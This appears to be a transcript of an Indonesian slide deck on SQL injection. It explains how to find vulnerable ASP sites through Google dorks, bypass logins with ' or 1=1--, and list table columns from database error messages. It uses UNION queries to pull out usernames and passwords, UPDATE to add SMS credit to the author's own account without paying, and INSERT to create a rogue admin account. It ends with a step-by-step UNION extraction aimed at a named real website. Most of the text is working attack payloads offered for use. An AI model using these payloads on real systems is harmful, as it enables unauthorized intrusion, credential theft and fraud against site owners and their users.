injection sql

20
SQL INJECTION ::Injection:: ========== ok, setelah basa basi diatas gw mulai neh ..hehehe untuk menginject sql ini anda perlu memperhatikan input-inputan dalam situs itu yang sekiranya connect dengan SQL database situs itu, atau bisa juga dengan menambah dari link url di kotak browser anda semisal : ....asp/productID=1'[sql query/string. untuk mencari target yang vuln seperti kondisi diatas anda perlu mencarinya yang .asp nah seperti biasa....GOOGLING!!! hehehe key wordnya di google adalah : 1. allinurl:.co.id/login.asp 2. allinurl:.com/admin.asp semuannya itu banyak kombinasinya lainnya itu tergantung seberapa jauh anda kreatif dalam mencari target di google.nah, kanre disini gw bahas cara inject ke situs web to sms so searchnya : asp,web to sms atw Send SMS, ASP ok, misal kita dapet target www.apes.com, nah lihat dah ada inputan yang masuk ke database itu ga, misalnya search product, member login, atw admin login :) setelah itu kita isa inject pake sql "umum" stringnya : ' or 1=1-- disini kita lihat kalau 1=1 itu nialinya true dan tanda -- itu adalah marknya SQL kalau di C++/C itu // /* jadi setelah tanda Mark perintah selanjutnya tidak dijalankan. nah klo beruntung dapet /admin.asp kita inject seperti diatas itu bisa lho kita masuk sebagai admin! ini terjadi di situs berita nasional di indonesia... nah, klo ga dapet dir adminya yah kita cari kotak input yang kiranya connect ke database situs itu, contoh isa di login, member, search, dll. kita masukan debugging codenya : ' having 1=1-- jreeeeeng.....ini musti diinget n kudu di pake setiap klo mo inject, kita injet di : userid : ' having 1=1-- Password :fuzk3 lalu....jreeeeeeng....ERROR!!!! Error Type: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'UserDB.userid' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. member/log_right.asp, line 25 tuh ketahuan ada kolom UserDB.userid, klo udah gini gemana lagi dungs? ok kita loop lagi sekarang kita inject : ' group by UserDB.userid -- atau ' group by UserDB.userid having 1=1-- disini kita gunain perintah group by untuk menggroup kolom ingin kita lihat....ehehe...muncul error lagi, kali ini beda choi...

Upload: karnolis-sunkara

Post on 18-Dec-2014

563 views

Category:

Education


11 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Injection sql

SQL INJECTION ::Injection::==========ok, setelah basa basi diatas gw mulai neh ..heheheuntuk menginject sql ini anda perlu memperhatikan input-inputan dalam situs itu yang sekiranya connect dengan SQL database situs itu, atau bisa juga dengan menambah dari link url di kotak browser anda semisal : ....asp/productID=1'[sql query/string. untuk mencari target yang vuln seperti kondisi diatas anda perlu mencarinya yang .asp nah seperti biasa....GOOGLING!!! hehehekey wordnya di google adalah :

1. allinurl:.co.id/login.asp2. allinurl:.com/admin.asp

semuannya itu banyak kombinasinya lainnya itu tergantung seberapa jauh anda kreatif dalam mencari target di google.nah, kanre disini gw bahas cara inject ke situs web to sms so searchnya : asp,web to sms atw Send SMS, ASP

ok, misal kita dapet target www.apes.com, nah lihat dah ada inputan yang masuk ke database itu ga, misalnya search product, member login, atw admin login :) setelah itu kita isa inject pake sql "umum" stringnya : ' or 1=1-- disini kita lihat kalau 1=1 itu nialinya true dan tanda -- itu adalah marknya SQL kalau di C++/C itu // /* jadi setelah tanda Mark perintah selanjutnya tidak dijalankan. nah klo beruntung dapet /admin.asp kita inject seperti diatas itu bisa lho kita masuk sebagai admin! ini terjadi di situs berita nasional di indonesia...

nah, klo ga dapet dir adminya yah kita cari kotak input yang kiranya connect ke database situs itu, contoh isa di login, member, search, dll. kita masukan debugging codenya : ' having 1=1-- jreeeeeng.....ini musti diinget n kudu di pake setiap klo mo inject, kita injet di :

userid : ' having 1=1--Password :fuzk3

lalu....jreeeeeeng....ERROR!!!!Error Type:Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'UserDB.userid' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.member/log_right.asp, line 25

tuh ketahuan ada kolom UserDB.userid, klo udah gini gemana lagi dungs? ok kita loop lagi sekarang kita inject : ' group by UserDB.userid -- atau ' group by UserDB.userid having 1=1-- disini kita gunain perintah group by untuk menggroup kolom ingin kita lihat....ehehe...muncul error lagi, kali ini beda choi...Error Type:Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'UserDB.userpass' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.member/log_right.asp, line 25

nah sekarang kita tau apa aja kolomnya...hehehepenerapan selanjutanya adalah misal situs itu adalah situs pengiriman SMS sedunia yang kalo kita membernya kita bisa send sms dari web, namun harus ada

Page 2: Injection sql

account yang digunakan untuk mengirim sms itu, jadi account itu harus ada nilainya dan untuk itu kita harus mengisinya dengan cara membelinya...ok ok NO CARDING HERE!!! heheheh...so gemana neh??? karena kita ini orang-orang kere hehehe so kita inject aja....sebelumnya kita harus jadi member kan gratis ini daftarnya...setelah kita jadi member dengan id : fuzk3 dan pass: Vero...kita log ke situs itu dengan id kita, cari tahu string khusus yang digunakan web itu untuk menghitung account sms kita, misalnya : cellnah, inilah injectnya....cari login inputan lagi misal /member.asp nah disitu ada input box id dan pass...kita Inject dengan :' UPDATE [namadatabase] SET [charkhusus] = [nilai] WHERE [namakolom] = '[char_id]'--contoh :' UPDATE UserDb set cell=100 where userid ='fuzk3'-- (inget neh)sep, nah klo muncul error : userid not found kita isa cari input di forgot password : dengan inputan sama...jreeen ketika di jalankan ga ada error apa-apa..kembali login lalu...jreeeeeenng...liha cell mu itu waduh 100 cell enak neh sms seratus kali....kiekiekie...SUKSES BRO!!! :)

Nah, klo dah dapet targetnya sekarang tinggal input SQL Querynya diinput boxnya :

www.target.com/ login.asp >> contoh targetwww.target.com/ login.asp? err=Invalid_ password >> persan error yangdapat di eksploitasi seperti biasa kalau ingin cari n tes vulnengganya tuhsitus kita ketikan ' having 1=1-- di input box atau URL error tadi ,contoh : www.target.com/ login.asp? err=' having 1=1-- then,....

Microsoft OLE DB Provider for SQL Server (0x80040E14)Column 'Users.UserID' is invalid in the select list because it isnot contained in an aggregate function and there is no GROUP BY clause

itu error messagesnya, kini kita group field UserID dari tableUsers,stringnya : ' group by UserID --then,...

Microsoft OLE DB Provider for SQL Server (0x80040E14)Column 'Users.ClientName' is invalid in the select listbecause it is not contained in either an aggregate function or theGROUP BY clause.

muncul lagi error seperti itu....lalu lagi kita Group. Kinistringnyaadalah ' group byfield1,field2 --contoh : ' group by UserID,ClientName --then,...

Microsoft OLE DB Provider for SQL Server (0x80040E14)Column 'Users.UserName' is invalid in the select list because it isnot contained in either an aggregate function or the GROUP BY clause.trus group by lagi, hal ini kita lakukan (proses looping) sampai

Page 3: Injection sql

semua field kita ketahui..... .makanya harus sabar, kalau engga ga bakal tembus apabila sudah lama melakukan looping dan akhirnya ketika groupterakhirkita lakukan dan tidak keluar error messagesnya maka error yangterakhir adalah field yg terakhir.... .field .field table itu bisa panjangsekali, tergantung admin yang masangnya jadi susah kalau maen teabk2anajah....contoh field yang pernah gw temuin : ' group byUserID,ClientName, UserName, Password, PhysicalAddress, PhoneNumber, Email, OperatingSystem, PrefferredGraphi cFormat-- >> ada 9 field!!! jangan males dalam proses Looping :P

setelah dapet semua field, kini yang kita lakukan adalah mencarisiapa aja user yang ada dalam table Users dan kolom UserName...caranya? kita pake Union apa itu UNION??? union adalah perintah SQLdimana ia dapat menggabungkan dua SELECT list tapi kalau pengen gunainUnion ini kita harus tahu ada berapa field dalam table tadi

sintaksnya gini : select field1, field2, … field_n from tablesUNIONselect field1, field2, … field_nfrom tables;

nah biasanya dalam SQL QUERY di input box username itu mereka bikinquery select * from Users where UserName =='"+login+" ' and Password='"+ pass"'"; nahkalau begitu kita masukin syntax sql union untuk melihat username : 'union select min(UserName) ,1,1,1 from Users where username > 'a'--jadi hasilnya : select * from Users where UserName ==' union selectmin(UserName) ,1,1,1 from Users where username > 'a'--andPassword='"+ pass"'"; gitu kiranya, jadi nanti akan muncul errormessages lagi yang akan menampilkan sebuah username lebih dari huruf a ,contoh:

Error Type:Microsoft OLE DB Provider for SQL Server (0x80040E07)Syntax error converting the varchar value 'Agile' to a column ofdata type int. /

tuh lihat kan ada user dengan nama Agile...lalu looping lagi pakestring union tadi nanti akan muncul username2 lain....lalu bagaimanadengan passwordnya? ??ok union beraksi kembali : ' union select min(UserName),1, 1,1,1,1,1, 1,1from Users where username > 'Agile'--lalu akan muncul error yang memberitahukan passwordnya, contoh :

Error Type:Microsoft OLE DB Provider for SQL Server (0x80040E07)Syntax error converting the varchar value 'Surfer' to a column ofdata type int. /

kalau dah gini kita bisa masuk dengan Username Agile dan passwordnyaSurfer...hehehe

selamat yah!

Page 4: Injection sql

btw, kita juga ingin dong bisa INSERT databasenya. ....caranya : karena ktia sudah tahu field2nya maka stringnya jadi : 'insert into table values(field1,field2, ....,field_ n)--misalkan ada field sebagai berikut :'Users.UserID''Users. Username''Users.Password''Users.FName''Users.LName''Users.EmailAddress ''Users.Administrato r'itu berarti ada 7 field! Ok kita masukan menurut string tadi : 'insert into Users values

(0,'lucifer' ,'lucifer' ,'lu','cid' ,'[email protected]',1)-- >> artinya kitamasukan id kita dalam urutan 0, lalu username 'lucifer', password 'lucifer' Fname (frontName)itu 'lu', Lname(LastName) sebagai 'cid', dan EmailAddress '[email protected]'......coba kita login dengan user buatan kita tadi....BINGO! selamat andaberhasil menjebol database situs target.....

case: http://playcentre.org.nz/

Page 5: Injection sql

1. cari page yang vulnerable (cth

Pilih salah satu menu

2. test error atau ga pakai ' atau and 1=0--

Page 6: Injection sql

3. di balikin lagi ke normal errornya pake and 1=1--

Page 7: Injection sql

4. cari tau seberapa banyak kolom yang ada pada table bersangkutan dengan Order by cth: order by 16-- kolom yang tepat ada di halaman yang normal sebelum error page. misal order by 17 error, lalu order by 16 tidak error maka ada 16 kolom

Page 8: Injection sql

5. kolom sudah diketahui sekarang cari tau bagaimana cara buat liat kolom mana yang vulnerable untuk di inject.cmd : id=-60 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6--

setelah itu nanti akan keluar di webpage untuk nomor kolom yg bisa di inject cth : 2

6. sesudah tau kolom mana yang vulnerable maka selanjutnya cari tau versi dari database tersebut. yg vulnerable adalah mysql 5 karena ada fitur schema untuk storing prosedur. Mysql 4 tidak ada jd harus tebak2an

cmd : http://playcentre.org.nz/product.php?id=-60 union select 1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6—

Page 9: Injection sql

7. sesudah tau kolom mana yang vulnerable maka selanjutnya cari tau table lists yang ada di database tsb.

cmd : id=-60 union select 1,group_concat(table_name),3,4,5,6,7,8,9,0,1,2,3,4,5,6 from information_schema.tables--http://www.puremango.co.uk/hashes.php

Page 10: Injection sql

8. sesudah tau nama table dan target yang ada maka cari tau nama kolom2nyacmd : id=-60 union select 1,column_name,3,4,5,6,7,8,9,0,1,2,3,4,5,6 from information_schema.columns where table_name=0x23nfsd120--table name di convert dahulu ke bin2hex format

Page 11: Injection sql

9. sesudah tau nama kolom dan table maka selanjutnya keluarin isi datanya dengan cmd : id=-60 union select 1,2,group_concat(Coloumn1,coloumn2,coloumn3...),4,5,6,7,8,9,0,1,2,3,4,5,6 from namatable—

Page 12: Injection sql

id,login,password,email,admintype,adminof,ts

Page 13: Injection sql
Page 14: Injection sql
Page 15: Injection sql
Page 16: Injection sql
Page 17: Injection sql
Page 18: Injection sql
Page 19: Injection sql